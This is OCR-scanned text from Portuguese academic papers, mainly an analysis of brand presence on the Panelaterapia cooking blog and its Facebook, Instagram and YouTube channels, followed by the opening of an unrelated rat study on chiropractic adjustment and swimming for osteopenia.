coisa para fazer também da aos fas algo sobre o que falar e os incentiva a propagar conteudo

para outros membros potenciais do publico.” (JENKINS, FORD, GREEN, 2014, p. 175)




Dessa forma, podemos diferenciar aderéncia e engajamento pela finalidade da criacéo
do conteudo. Se a busca pela aderéncia privilegiava direcionar o0 maior nimero de pessoas
para um mesmo conteldo, centralizando as atencoes para medir e moldar contetdos similares,
esperando-se 0s mesmos “resultados”, o engajamento busca que esses mesmos espectado-
res sejam porta-vozes desse conteudo, propagando para suas redes e moldando possiveis
novos contetdos ou remodelando os ja existentes.

Assim, cabe conheceremos alguns desses sites de redes sociais. Como sao muitos
0s sites, o critério utilizado € apresentar apenas os sites que a blogueira Tatiana Romano, que
mantém o blog Panelaterapia, objeto de estudo desse artigo, utiliza. Ou seja, blog, Facebook,

Instagram e Youtube.

3.1 BLOGS

De acordo com Aquino (2009, p. 253) blogs séo espacos publicos e pessoais, ou seja,
espacos publicos de escrita coletiva, onde os leitores nao podem modificar o post, mas podem
escrevé-lo junto com o blogueiro no momento em que redigem comentarios, e pessoais por
possuir um administrador, que além de criar conteudo, faz a moderacéao entre as publicacoes
e 0s comentarios.

Com a evolugao dos blogs, esse universo ganhou algumas definigoes, como blogosfer,
para definir essa rede invisivel de blogs e blogueiros; o proprio termo blogueiro/a, para definir
a pessoa que escreve; post/postagem para definir o texto escrito; publieditorial para assipalar

que o post recebeu algum incentivo para que o blogueiro falasse a respeito. (TORRES,




A popularidade dos blogs se deu a partir da adicdo da ferramenta de comentarios,
onde o leitor passou a interagir com o escritor do texto e também com outros leitores, tornando
o blog um espago de socializagdo e constituindo uma rede social. (AMARAL, RECUERO E
MONTARDO, 2009).

Diante da consolidacao de diferentes tipos de blogs, Primo (2008, p. 123) critica as
tentativas de “definir o conteudo dos blogs em virtude do uso da ferramenta”. Para este autor,
grande parte da confuséo gerada acerca da definicao de blogs vem do fato de que o termo
“blog” poder ser usado em referéncia a textos (posts), programas (Blogger, Wordpress) ou
mesmo espaco (enderego do blog/ URL).

Segundo Primo (2008) o blog pessoal sé depende da vontade de crid-lo e o Unico
compromisso do blogueiro € com a audiéncia. Os blogs profissionais também podem ser pro-
duzidos por uma unica pessoa, porem responder a um objetivo comercial ou buscam criar
reputagao em determinado assunto, também visando ganhos futuros.

Os blogs coletivos também apresentam diferencas. Eles podem ser escritos por um
grupo de amigos sobre um tema especifico, como moda, decoragao, culinaria, onde cada um
apresenta suas consideracoes individuais através das postagens; um espaco de apoio, que da
suporte on-line sobre diversos assuntos como informatica, saude; ou ainda um registro sobre

0s avancos de determinada pesquisa ou trabalho.

3.2 FACEBOOK

O Facebook ¢ uma empresa privada que tem seu funcionamento através de perfis e

comunidades. Suas caracteristicas fundamentais sao: a pagina inicial, que inclui a atualizacéo




dos amigos; e o perfil, que exibe informagdes sobre o individuo em uma linha do tempo, suas
areas de interesse e contato. Também inclui aplicativos basicos como fotos, eventos, videos,
grupos, paginas, que permitem acessar e compartilhar informacgoes.

Através da pagina inicial de seu perfil, o usuario pode informar se gostou de algum
conteudo postado atraves do botéao “curtir”, “comentar” ou ainda reproduzir a informagao aos
seus amigos atraves do botao “compartilhar”.

O Facebook ainda permite que as organizacbes criem fan pages que, ao serem cur-
tidas pelos usuarios, ficam registradas em suas preferéncias e este passa a receber informa-
coes e atualizacoes. A fan page ainda permite adicionar conteddo de outros sites de redes
sociais, como o YouTube, por exemplo.

Um perfil € para pessoas fisicas e limitado a cinco mil amigos, e a fan page € uma
ferramenta para empresas, onde se permite fazer publicidade e ndo ha limites de pessoas. E
permitido customizar a pagina e também mensurar dados estatisticos e comportamento dos
“fas” (pessoas que curtiram a pagina).

Seu langamento oficial foi em 2004, mas apenas em 2006 tornou-se aberto a qualquer

pessoa que desejasse se inscrever, através da opg¢ao “abrir uma conta”.

3.3 INSTAGRAM

Lancado em 06 de outubro de 2010, o Instagram € aplicativo gratuito para dispositjos
maoveis que inicialmente estava disponivel apenas para o sistema iOS, mas passou a ser djspo-

nibilizado para o sistema Android a partir de 03 de abril de 2012.
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Este aplicativo permite que o usuario tire fotografias, aplique filtros com diferentes pa-
drdes estéticos e compartilhe o resultado com amigos no proprio aplicativo, no Facebook, no
Twiter, no Tumblr e no Foursquare, ou seja, nao fica restrito apenas a quem é seu usuario.

Em setembro de 2012 o Instagram foi oficialmente comprado pelo Facebook e a priori-

dade dessa fusao era aumentar os recursos do aplicativo e ndo somente integra-los.

3.4 YOUTUBE

O Youtube € uma midia similar a televisao, que trabalha com videos curtos, publicados di-
retamente pelos internautas, e que podem ser assistidos por qualquer pessoa em qualquer com-
putador sem a necessidade de nenhum programa ou conexao especial. (TORRES, 2009, p. 134).

Alem disso, o site possui um buscador préprio através de palavras-chave, pode marcar
um video como “favorito”, marcar como “gostei” ou “nao gostei” atraves de uma conta criada
no site ou no Google, compartilhar com amigos em outras redes sociais, como Facebook,
Twitter, Google+, enviar por e-mail, adicionar em sua lista de reproducao para assistir poste-

riormente, comentar os videos € ler os comentarios de outros usuarios.

Segundo Jenkins, Ford e Green (2014, p. 24) “o publico nao & mais visto como simples-
mente um grupo de consumidores de mensagens pre-construidas, mas como pessoas que/es-
tao moldando, compartilhando, reconfigurando e remixando conteudos de midia de mangiras

que nao poderiam ter sido imaginadas antes”.




Estamos vivenciando um periodo de grandes mudancas, em que o consumidor esta
cada vez mais se habituando a buscar informacgéo sobre a reputacédo da marca antes de se
decidir entre este e aquele produto.

As pessoas ganharam voz na Internet, € a chamada Era da Recomendacao, em que as
informacoes sao cada vez mais acessiveis para o consumidor. Os formadores de opiniao aca-
bam influenciando outras pessoas a tentar coisas novas, que talvez em outras circunstancias
nao experimentassem.

Baseados nisso, algumas marcas buscam associar-se a blogueiros e personalidades
da Internet para entender o perfil de seus consumidores, pois passam a conhecer seus gostos
e habitos pessoais, sabem quais sao seus interesses, e ainda tem acesso a opiniao do consu-
midor através dos comentarios.

Essas acdes baseiam-se nao na reputacao da marca, mas da pessoa que recomenda.
A resenha de um produto em um site de rede social pode ser um fator para que o leitor faga
imediatamente uma relagdo de custo/beneficio baseada na experiéncia relatada e tome a partir
dai sua decisao de compra.

Como o blog tem essa caracteristica de pessoalidade, acaba gerando lacos entre o
blogueiro e seus leitores, que consideram suas opinides indubitaveis. Segundo Patricia Moura
(2010) “os blogueiros séo considerados produtores de conteudo e formadores de opinido dep-

tro do ciberespaco”.




NALISE

METODO, OBJETO E

REFERENCIAL TEORIO

CATEGORIA

PERGUNTA

1. Marcas na web

Conceito de marca

Qual o conceito mais adequado
para as marcas parceiras do blog
Panelaterapia?

1. Marcas na web

Contexto em que as marcas
aparecem

A forma como as marcas sdo
apresentadas tem diferenga de
acordo com a plataforma utilizada
pela blogueira?

2. Sites de redes sociais

Tipo de blog

De acordo com Primo (2008), o
Panelaterapia é qual tipo de blog?

Quadro 1 - Categorias de analise
Fonte: Elaborado pelas autoras

5.1 METODO

Este item apresenta os procedimentos metodolégicos
utilizados. Quanto a sua natureza € uma pesquisa basica que
“objetiva gerar conhecimentos novos uteis para o0 avanco da
ciéncia sem aplicagdo pratica” (PRODANQV; FREITAS, 2009,
p. 62).

Em relacéo aos objetivos, essa pesquisa se caracteriza
como metodo exploratério, que permite familiarizar-se com o
problema e suas diversas faces, juntando os conhecimentos
empiricos com os conhecimentos cientificos.

A segunda etapa deste artigo, onde se apresenta o ob-
jeto de estudo, consistira na observacao e analise das posta-
gens realizadas pela blogueira, nos meses de janeiro, fevereiro
e marco de 2015 e nas diversas plataformas utilizadas para
divulgar o blog Panelaterapia’, bem como a interacéo dos lei-
tores com as postagens.

As categorias a serem utilizadas na analise constam n

tabela 1.

* http://www.panelaterapia.com/




5.2 OBJETO

Para analise da insercao das marcas nos sites de redes sociais na Internet foi selecio-

nado como objeto de estudo o blog Panelaterapia, bem como demais os espaco mantidos pela

blogueira Tatiana Romano, como Facebook, Instagram e canal no YouTube.

O Panelaterapia surgiu em 2009 em um momento de muito stress na vida da blogueira.
Psicologa por formacéao trabalhava em uma consultoria em tempo integral, dava aula em duas
faculdades e fazia uma segunda pés-graduacao aos sabados.

Em 2010, o blog comecou a se solidificar na blogosfera, mesmo periodo em que vivia
uma crise existencial, segundo relatado pela blogueira no livro Panelaterapia: Receitas para
fazer da cozinha o seu diva e, aos poucos, foi largando seus empregos para se dedicar uni-

camente ao blog. Tatiana comenta que teve de estudar e aprender um novo universo (0 mundo

digital) e quando percebeu o blog ja havia se tornado seu trabalho principal. De acordo com
Tatiana Romano, 90% das receitas sao para iniciantes ou pessoas com pouca experiéncia ou

habilidades na cozinha.

Atualmente, Tatiana trabalha em tempo integral para o blog e suas extensoes, € colunis-
ta no Caras Blogs, um blog mantido pela Revista Caras’, que conta com blogueiros de renome
nacional em postagens esporadicas, e também produz conteudo para o canal Tastemade Bra

sil’, junto com outros blogueiros.

° Revista semanal que fala sobre a vida das celebridades com fotos, noticias e reportagens, com uma circulagao média de maig de 264
mil exemplares
® https://www.youtube.com/user/tastemadebr
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Em 2011, criou a fan page no Facebook, 'supostamente para que o contetido do blog
tivesse mais visibilidade e, consequentemente, mais interacéo. Esse espago conta, hoje, com
mais de um milh&o de curtidas.

Em 2014, a blogueira criou um perfil no Instagram®, provavelmente com o mesmo obje-

tivo da criagao da pagina no Facebook, que atualmente conta com mais de 66 mil seguidores.
O canal no Youtube® foi criado em 2012, segundo a blogueira apenas para testar sua
capacidade de gravar e editar um video, sem qualquer pretenséo, mas o canal so se tornou
ativo na publicacao de videos em 2014. Atualmente sao mais de um milhao inscritos, e mais de
cinco milhdes de visualizagoes.
O ano de 2015 foi marcado pelo langamento do livro Panelaterapia: Receitas para fazer

da cozinha o seu diva no més de fevereiro, pela Editora Belas Letras. Houve ceriménias de

langamento do livro em varias cidades do Brasil e esse fato foi bastante mencionado pelos

leitores nos diversos canais do blog.

5.3 ANALISE

5.3.1 0 blog Panelaterapia

Os dados dessa pesquisa foram coletados através da observacéo do blog Panelatg-
rapia no periodo de 11 a 14 de abril de 2015, a partir das postagens feitas entre os meses/de
janeiro e marco do mesmo ano.

" https:/www.facebook.com/panelaterapia
® https://www.instagram.com/panelaterapia/
° https://www.youtube.com/user/BlogPanelaterapia




Postagens
analisadas

Postagens
com marcador
publicidade

Postagens em
que aparecem
citacdes de
marcas

67

"

23

Quadro 2. Presenga das marcas no

blog Panelaterapia

Fonte: Elaborado pelas autoras

Neste periodo houve 67 postagens com 1.020 comentarios. Destas, vemos no quadro
2 a presenca das marcas:

As marcas presentes no blog Panelaterapia podem ser descritas como “elementos mui-
to complexos, de muitas dimensodes, sentidos e percepcoes” conforme descrito por Deos (2003
apud SAMPAIQ, 2003 p. 123), pois analisando o conjunto de apari¢cdes tanto na pagina inicial,
como no contexto das postagens, podemos perceber que as marcas anunciadas sao de pro-
dutos e servicos variados.

Quanto a sua tipologia em termos de site de rede social, de acordo com Recuero (2009),
0 blog Panelaterapia pode ser classificado como um site de rede social apropriado, pois atra-
vés dos comentarios o blog gera interacao entre os atores, e utiliza redes sociais propriamente
ditas, como Facebook e Instagram, e site de rede social apropriado, como o Youtube, suposta-
mente para se tornar mais conhecida e alcangar maior visibilidade.

Segundo a classificagcao de Primo (2008), o Panelaterapia ¢ um blog pessoal, pois é
escrito por uma unica pessoa, mas também profissional, pois responde a objetivos comerciais,
conforme demonstra a presenca da aba anuncie disponivel no blog que informa as vantagens
de se tornar um anunciante. Além disso, oferece Midia Kit para interessados em anunciar no
blog, ainda que este material ndo esteja disponivel no blog.

Em relacao aos anuncios, no total foram contabilizados oito, dos quais seis, mediante
clique, direcionavam para o site do anunciante, e dois destes abriam a pagina do anunci
na aba do proprio blog.

Entre as postagens, foram contabilizados onze que se referiam a postagens patrgcina-

das. Esse tipo de postagem foi identificada pela presenca do marcador publicidade ol pelo




Postagens analisadas

Postagens com
presenca de marcas

63

2

Quadro 3. Presenga das marcas na fan page
Panelaterapia Receitas e Videos
Fonte: Elaborado pelas autoras

fato de que anunciavam ao final do texto que recebeu algum incentivo da marca.

Nas postagens em que sao citadas marcas, percebe-se a ocorréncia de menos comen-
tarios que as demais.

De acordo com Recuero (2009), os lagos sociais estabelecidos através dos comenta-
rios do blog Panelaterapia, podem ser classificados como lagos fortes, que se caracterizam

pela intimidade, proximidade e intencionalidade em criar e manter uma conexao.
5.3.2 Fan page do Panelaterapia

A fan page do blog Panelaterapia no Facebook se denomina Panelaterapia Receitas
e Videos e os dados para esta analise foram coletados em 21 de abril de 2015, a partir das

postagens feitas entre os meses de janeiro e marco do mesmo ano.

Neste periodo houve 63 postagens com 72.000 curtidas, quase a mesma quantidade
de compartilhamentos, 71.700, e cerca de 5.000 comentarios.
Das postagens elaboradas nesse periodo, verificamos a presenca explicita de marcas

em apenas duas delas, como mostra o quadro 3.

Como a presenga das marcas é escassa neste periodo analisado, o conceito de marca
abordado fica comprometido, mas a definicao de Perotto (2007, p. 129) de que “mais do que
um nome e suas representacoes, a marca contemporanea € um fendbmeno que implica um
grande carga simbolica e ideologica, pois sua presenca evoca e mobiliza sistemas de valo-
res sociais e culturais” € o que mais se encaixa, visto que a marca nesse momento € mais a
blogueira do que o produto em si, pois os seguidores da fan page Panelaterapia Recejtas e

Videos curtem a publicacao da blogueira, € ndo, necessariamente, do conteudo marca.



Postagens analisadas

Postagens com fotos de
produtos ou #marcas’

246

7

Quadro 4 - Presenga das marcas no Instagram
Panelaterapia
Fonte: Elaborado pela autora

Quanto a sua tipologia em termos de site de rede social, de acordo com Recuero
(2009), o Facebook e a fan page Panelaterapia Receitas e Videos sao sites de rede social pro-
priamente ditos, pois seu foco é expor e publicar a rede de um determinado ator. Nesse senti-
do, a pagina tem 1,1 milhdes de curtidores. E uma forma de a blogueira comunicar o mesmo
conteudo em formatos diferentes e assim se tornar mais conhecida, uma vez que esta inserida
em diferentes plataformas. A blogueira ndo gera novos conteudos atraves desta plataforma e
as postagens baseiam-se em “confira hoje no blog”, ou “tem video novo no canal do Youtube”.

As postagens sao ilustradas com as mesmas fotos do post divulgado e raramente apa-
rece foto da pessoa Tatiana Romano, e quando aparece, normalmente, € em companhia de
outras pessoas, em eventos ou algo do género,

De acordo com Recuero (2009) os lagos sociais podem ser classificados como fracos,

visto que nao necessita de interagao para manter lagos, basta “curtir” a fan page para fazer

parte dela.

5.3.3 Instagram

Os dados para analise do Instagram Panelaterapia foram coletados entre os dias 04
e 09 de maio, a partir das postagens feitas nos meses de janeiro, fevereiro e marco de 2015.

Nesse periodo, houve duzentas e quarenta e seis postagens, mais de 998.000 curtid
e 9.634 comentarios.

Das postagens feitas nesse periodo, vemos no quadro 4 em quantas delas foram loca-

lizadas a presenga das marcas.



O Instagram nao possui um marcador de publicidade e a maior parte das postagens
se resume a uma breve legenda acrescida de foto e, eventualmente, a blogueira marca outro
usuario (pagina de alguma marca) usando uma hastag. Assim, a presenca das marcas pode
ser identificada através das fotos e legendas.

O conceito para as marcas presentes no Instagram Panelaterapia pode ser descrita
como “uma sintese das experiéncias reais e virtuais, objetivas e subjetivas, vividas em relagao
ao produto, servico, empresa, instituicdo ou, mesmo pessoa.” (SAMPAIO, 2002, p. 121), com-
plementado por Deos (apud SAMPAIO, 2003 p. 123) que diz que

O certo é que a marca € algo vivo e cultivado de forma muito intensa nas co-
munidades, pois estamos o tempo todo nos relacionando com elas e comparti-

Ihando de tudo que elas nos disponibilizam, vivenciando novas experiéncias e
mantendo velhos e duradouros relacionamentos.

Quanto a sua tipologia em termos de site de rede social, de acordo com Recuero (2009),
o Instagram é um site de rede social propriamente dito, pois seu foco é expor e publicar a rede
de um determinado ator. Nesse sentido, a pagina tem mais de setenta e seis mil seguidores.

Por outro lado, o Instagram Panelaterapia também pode ser classificado como site de

rede social apropriado, pois funciona como uma extensao do blog Panelaterapia e mostra a

pessoa Tatiana em seu dia a dia (diferente do blog que privilegia a blogueira Tatiana), be
como alguns conteudos que nao teriam relevancia no blog, mas que fazem sucesso entre/ 0s
seguidores da pagina.

Das plataformas analisadas até aqui, esta € a Unica em que ela mostra seu dia a dia, as

coisas que come, que veste, que gosta ou desgosta. E a pessoa que tem um cachorro agitado




e nado se importa, que troca uma refeigdo vez ou outra por lanche na rua, que tira uma folguinha
na vida corrida para visitar a mae, que aproveita o tempo livre com o marido.
De acordo com Recuero (2009), os lagos sociais estabelecidos através dos comentarios

do Instagram Panelaterapia, podem ser classificados como lacos fortes, que se caracterizam

pela intimidade, proximidade e intencionalidade em criar e manter uma conexao, visto que a

blogueira interage e responde a varios comentarios dos seguidores. Outro fator para classificar

como lago forte, sédo os compartilhamentos de sua rotina, mostrando a pessoa por detras da

Postagens com

, blogueira, que é mulher, esposa, filha, mae de um cachorro, profissional.
presenga de marcas

Postagens analisadas

o6 0 5.3.4 Youtube

Quadro 5 - Presenga de marcas no canal Panela-
terapia no YouTube
Fonte: Elaborado pelas autoras

Os dados para essa analise foram coletados no dia 09 de maio de 2015, a partir de

postagens feitas nos meses de janeiro, fevereiro e marco do mesmo ano.

Neste periodo, houve 26 postagens, com 982.452 visualizagcOes desses videos até o
momento, 47.968 marcacoes “gostei”, 347 “nao gostei” e mais de 1.700 comentarios.
' #hashtag, utilizado para marcar outros usuarios/

paginas do Instagram Das postagens nesse periodo, vemos no quadro 5 a presenga das marcas.

O conceito de marca para este canal € descrito por Pinho ( 2000, p. 99)

A marca nao designa apenas um produto ou servico, mas incorpora um conjun-
to de valores e atributos tangiveis e intangiveis relevantes para o consumid
e que contribuem para diferencia-la daquelas que lhe sdo similares. Assim, o
adquirir um produto, o consumidor nao compra apenas um bem, mas todo o
conjunto de valores e atributos da marca. Portanto, a marca € a sintesg dos
elementos fisicos, racionais, emocionais e estéticos nela presentes e desgnvol-
vidos ao longo dos tempos. (PINHO, 2000, p. 99)




Assim, as marcas presentes no canal Panelaterapia no YouTube incorporam os valores
e atributos da blogueira Tatiana Romano, pois naquele momento é a reputacao dela frente a
reputacao da propria marca.

Quanto a sua tipologia em termos de site de rede social, de acordo com Recuero (2009),

o canal Panelaterapia no YouTube pode ser classificado como um site de rede social apropria-
do, pois nao foi criado com o objetivo de interacao, mas os comentarios geram interacao entre
blogueiros e leitores, e leitores entre si.

O canal Panelaterapia no Youtube segue a linha do blog em termos de cores e logotipia.
E composto por videos, descricdo de cada video e comentarios dos usuérios. Durante os vide-
0s a logo do Panelaterapia aparece em estilo marca d’agua no canto inferior direito. Clicando

na guia “inscrever-se” é possivel receber no e-mail um aviso a cada vez que a blogueira posta

conteudo novo.

Os videos sao bem produzidos, estilo programa de culinaria na televisao. Antes de
encerrar cada gravagao, ela anuncia o proprio canal pedindo para que os usuarios deixem
“um joinha” (marcar como “gostei”) e pede para clicar no botao “inscrever-se” que aparece no
canto superior do video, que, segundo Tatiana, isso contribui para o canal crescer.

A presenca das marcas pode ser vista durante os videos, na utilizacéo para preparo de

receitas, no texto falado, ou de forma subliminar presente no cenario.




ANALISE DOS
ESULTADOS OBTIDOS

Apos analise do blog Panelaterapia e de suas extensdes no Facebook, Instagram e
YouTube, percebe-se que cada plataforma carrega uma linguagem propria e mostra e faces
diferentes da blogueira Tatiana Romano em relagdo a marca Panelaterapia.

No blog, ela se dedica basicamente as receitas e conteldos relacionados ao universo
da gastronomia. Ela usa esse canal como sua principal ferramenta de trabalho, mostrando-se
mais profissionalmente, com conteudo organizado, bem escrito e de facil compreensao. As
postagens sao ilustradas com foto e esse foi o inicio da marca Panelaterapia.

O Facebook do Panelaterapia surgiu na fase de ampla expanséo do aplicativo no Brasil.
Entdo, aparentemente como forma de trazer uma proximidade com seus leitores, ela criou um
perfil que mais tarde foi convertido em fan page. Hoje, a principal funcao da fan page Pane-
laterapia Receitas e Videos é divulgar o blog e o seu canal no Youtube, em um esforco para
aumentar a visibilidade desses espacos. Essa pagina no Facebook € um espago impessoal em
relagao as outras plataformas, onde ha pouca interagao da blogueira com seus seguidores.

O canal Panelaterapia no YouTube tornou-se ativo recentemente. Foi um dos canais
que mais evoluiu em termos estéticos, pois 0s videos inicialmente pareciam bem caseiros,
sem grandes preocupacdes com cenario ou figurino. Era possivel ver o cenario baguncado, o
cabelo da blogueira desarrumado e linguagem coloquial em sua fala carregada de sotaque.

Hoje, nota-se um estilo profissional, como um programa televisivo, com cenario impecga-
vel, figurino e maquiagem, e o estilo de linguagem também mudou. Mesmo nos poucos vidgos
onde ela conta um pouco mais de sua vida, € possivel notar que existe um roteiro.

O Instagram & uma das plataformas onde mais se mantém ativa, com mais dg uma

postagem diaria e com estilo livre. Nessa plataforma € possivel conhecer um pouco mais da
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pessoa Tatiana, e embora seja uma extensao do blog Panelaterapia, ela compartilha muito mais
coisas pessoais do que profissionais.
Em relacdo a presenca das marcas, é possivel notar que existe diferenca na forma em

que elas aparecem, mesmo dentro de uma Unica plataforma. Por exemplo, no blog, uma marca

pode aparecer no preparo de uma receita, apenas sendo citada, ou pode aparecer no contexto
da receita exaltando suas caracteristicas. Tambéem pode ser “uma dica de amiga”, de Tatiana
falando o porqué usa aquela determinada marca, ou ainda em estilo de release e que poderia
ser escrito por qualquer outro blogueiro.

No YouTube, também é possivel ver essa diversidade de estilos na presenca das mar-
cas. Ora pode ser o produto sendo utilizado em uma receita, ora falando dos beneficios do

produto sem falar na marca, e, ainda, em estilo mais comercial, com close no produto e falando

da marca.
Essa evolucao do Panelaterapia e da blogueira Tatiana € possivel ver através dos lo-
gotipos e fotos de perfil. Abaixo, apresenta-se o primeiro logotipo do blog, que data de 2009.

Nesse periodo, Tatiana nao possuia foto de perfil.

Figura 1. Logo Panelaterapia no inicio, em 2009
Fonte: http://web.archive.org/web/*/http://www.panelaterapia.com/. Acesso em 23/05/15




No final de 2009, muda o logo e conhecemos a blogueira. Junto a foto de perfil uma
panela da marca Le Creuset, que seria totalmente dispensavel em uma foto de apresentacao.

Assim, notamos que estavam sendo criadas as primeiras parcerias.

Figura 2. Logo Panelaterapia e primeira foto de perfil no final de 2009
Fonte: http://web.archive.org/web/*/http://www.panelaterapia.com/. Acesso em 23/05/15
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Em 2013, houve uma mudanca radical no /ayout do blog, com a troca da pagina antes
azul, por cor de laranja, bem como mudanca no logo do blog e foto da aba “quem escreve”
Podemos notar que a foto de perfil e divulgacao da blogueira também vem acompanhada da

panela da marca Le Creuset, reafirmando a parceria.

| i
Figura 3. Logo Panelaterapia e foto de perfil em 2013
Fonte: http://web.archive.org/web/*/http://www.panelaterapia.com/ Acesso em 23/05/15




O ano de 2014 foi marcado por grandes transformagdes. Agora Tatiana ndo era apenas
mais uma blogueira, havia se tornado uma blogueira consolidada na Internet, recebia cada vez
mais convites de marcas, eventos e sua imagem se tornou publica.

O layout mudou e a panela Le Creuset presente nas fotos de perfis anteriores subiu para

o logo do blog, como vemos abaixo:

-' pouelateropiov
Figura 4 - Logo Panelaterapia em 2014
Fonte: http://web.archive.org/web/*/http://www.panelaterapia.com/ Acesso em 23/05/15

Figura 5 - Foto do perfil em 2014
Fonte: http://www.panelaterapia.com/p/prazer-tatiana.html#.Uhb33BvrytY. Acesso em 23/05/15




CONSIDERACOES
INAIS

De acordo com o problema evidenciado na presente pesquisa, que se referia a forma
Ccomo as marcas apareciam nos espacos mantidos pela blogueira, foi possivel identificar e analisar
diversas postagens feitas no periodo de janeiro, fevereiro e margco do ano de 2015, nelas a pre-
senca das marcas varia de acordo com a plataforma, mesmo dentro de uma Unica plataforma, ha
formatos diferentes de exposi¢cao de um determinado produto.Constatou-se, ainda, que a bloguei-
ra aparece de forma distinta em cada uma das plataformas que mantém, e que atualmente goza
de grande reputacao entre seus seguidores.

Nos quase seis anos de existéncia o blog evoluiu consideravelmente, assim como sua escri-
tora, que passou a dedicar-se cada vez mais a plataforma blog de modo que hoje o Panelaterapia
pode ser considerado uma marca de sucesso, que conta com muitos patrocinadores de renome
nacional investindo cada vez mais para estarem junto desse crescente publico do Panelaterapia.

Ainda, pode-se dizer que a propria blogueira Tatiana Romano tornou-se uma marca de
referéncia, € colunista da Caras Blog, um blog que reune diversos blogueiros e € mantido pela
Revista Caras, convidada para diversas edi¢cdes de revistas de circulagdo nacional, ja foi convida-
da para programas de televisao, além de diversos eventos. Outro fator que leva seu nome a esse
status é o fato de estar se tornando garota-propaganda de algumas marcas fora de seus canais
Panelaterapia.

Em relacao a contribuicao deste artigo para o meio académico, foi possivel aliar a teoria de
diversos autores com o objeto estudado, sem limitacoes para o desenvolvimento deste estudo.
disso, a pesquisadora acredita que este estudo possa ser de interesse a leitores e outros pegqui-

sadores, em que possa servir de base para outros trabalhos que explorem pessoas como mayca.
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Osteoporose é uma doenca osteometabdlica. A natacao é apontada como eficiente na prevencao da perda 6s-
sea, porém hd pouca discussao na indicacao especifica da aplicabilidade de técnicas da quiropraxia, no caso da
osteoporose, pois seus efeitos sao desconhecidos. O objetivo da pesquisa foi desenvolver em um modelo animal
3 osteopenia, induzida pela dexametasona e a reabilitacdo da densidade da matriz dssea, através de ajustes
quiropraticos com o uso do Activator®. Foram comparados os efeitos do ajuste quiroprético e da natacdo, no
intuito de reverter a osteopenia. Para isso, ratas adultas Wistar, foram divididas de forma aleatéria em grupos:
1) Controle: sem nenhuma intervencao. 2) Controle dexametasona: apenas foi usado dexametasona. 3) Natacao
e dexametasona: fizeram natacdo e uso de dexametasona. 4) Natacao e ajuste quiropratico: fizeram natacao,
receberam ajuste quiropratico e uso de dexametasona. 5) Ajuste quiroprédtico e dexametasona: receberam o
3juste quiropratico e uso de dexametasona. Apds as intervencdes, os fémures e tibias direitas foram dissecados e
obtidas as imagens radioldgicas para anélise densitométrica. Baseado nestes dados, o tratamento mais relevante
de recuperacao da microestrutura 0ssea trabecular para este modelo, foi o ajuste quiropratico, pois apresentou
os maiores indices de densidade trabecular nos ossos fémurotibiais analisados.

Palavras-chave: Osteopenia. Osteoporose. Quiropraxia. Activator®. Natacao.

ABSTRACT

Osteoporosis is a disease osteometabolic. Swimming is identified as effective in preventing bone loss, but there is
little discussion on the specific indication of the applicability of chiropractic techniques in the case of osteoporosis,
because their effects are unknown. The abjective of the research was to develop an animal model for osteopenia,
induced dexamethasone and rehabilitation of bone density matrix through chiropractic adjustments using the
Activator®. They compared the effects of chiropractic adjustment and swimming in order to reverse osteopenia.
For this, Wistar adult female rats, were divided randomly into groups: 1) Control: no intervention. 2) Control
dexamethasone: only dexamethasone was used. 3) Swimming and dexamethasone: did swimming and use of
dexamethasone. 4) Swimming and chiropractic adjustment: made swimming, received chiropractic adjustment
and use of dexamethasone. 5) chiropractic adjustment and dexamethasone: received chiropractic adjustment and
use of dexamethasone. After the speeches, femurs and tibias rights were dissected and obtained radiological
images to densitometric analysis. Based on these data, the most important treatment of the trabecular bone
microstructure recovery for this model was the chiropractic adjustment, since it presented the highest rates of
trabecular bone density in femurotibiais analyzed.

Keywords: Osteopenic. Osteoporosis. Chiropractic. Activator®. Swimming.




INTRODUCAO

O osso € um tecido dindmico, em que o processo de reabsorgédo (mediada pelos oste-
oclastos), acoplado com o processo de formagéo (mediada pelos osteoblastos), quando estédo
em um estado de equilibrio (SILVA, 2004).

Osteoporose € uma doenga osteometabdlica, de uma desordem esquelética cronica
e progressiva, de origem multifatorial, caracterizada pela diminuicao da densidade mineral
0ssea, que enfraquece 0s 0ssos por deterioragao da microarquitetura tecidual, causando in-
capacidade fisica. Associa-se a modificacao do 0sso, aumentando a fragilidade e maior risco
de fratura (SILVA, 2004).

A perda do osso trabecular varia de 0,6 a 2,4% nas mulheres e de 0,2 a 1,2% nos ho-
mens. Sendo a causa mais comum de osteoporose em homens e mulheres o hipogonadismo,
motivo pela qual ocorre o baixo nivel de testosterona, em homens, e estrogénio, nas mulheres
(O'BRIEN, 2001).

Suomien (1993) relatou que mulheres na pré-menopausa que praticam regularmente
exercicios de alto impacto tendem a ter maior densidade da matriz 6ssea do que sedentarias.

Os exercicios aquaticos, como a natacéo, tém sido cada vez mais indicados devido
seus beneficios a saude e pelo menor risco de fratura no caso da osteopenia. Além disso,

nestes exercicios, observa-se uma melhora na aptidao fisica, forca muscular, flexibilidade,

composigéo corporal e condicionamento respiratério (PINTO et al., 2006).
Em contrapartida, na literatura quiropratica, ha pouca discussao na indicagao espe-
cifica da aplicabilidade de técnicas quiropraticas, no caso da osteoporose, segundo Stgck e

colaboradores (1997).




2 DESENVOLVIMENTO

Entretanto, no estudo de Veiga (2012), o ajuste quiropratico apesar, de resultar em me-
nor aumento da densidade ¢ssea em comparagado ao exercicio de impacto, obteve resultado
positivo por ser um estimulo diretamente ao tecido ¢sseo.

Partindo destes preceitos, surge a motivacao para a realizacao de um novo estudo,
que visa identificar, nos procedimentos equivalentes aos executados dentro de uma clinica de
quiropraxia, comparado a natagao, buscando um aumento da densidade 6ssea em um modelo
animal.

Dessa forma o objetivo do trabalho foi induzir a osteopenia em ratos e posteriormente,
submeter ao tratamento quiropratico e/ou natagao, buscando comparar as alteragoes de den-

sidade Ossea entre 0s grupos.

Para a execucgao do projeto proposto, segue o detalhamento dos meétodos a serem

implementados.

2.1 METODO

Trata-se de um estudo experimental, utilizando um modelo animal.

2.2 AMOSTRA

Para a definicao do tamanho amostral foi utilizado o software-free da Universidade de
Dusseldorf (Alemanha), G*Power 3, (FAUL et al., 2007), o qual se utiliza de ferramentas estatis-

ticas subsidiadas por dados da literatura fomentados pelo pesquisador. Foi consideradp com
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base nos dados da literatura um valor para o erro (1l de 0,05; uma forga estatistica de 0,95; e

um tamanho do efeito médio.

Assim, a realizagéo deste estudo foram utilizadas 42 ratas Wistar, fémeas, adultas (com
15 meses - +252,61 g), provenientes do Biotério da Universidade Feevale.

Inicialmente os animais foram divididos de forma aleatdria em cinco grupos:

»  Controle (C): ratas que nao fizeram natagao, ajuste quiropratico e nem o tratamento
da Dexametasona, n: 8;
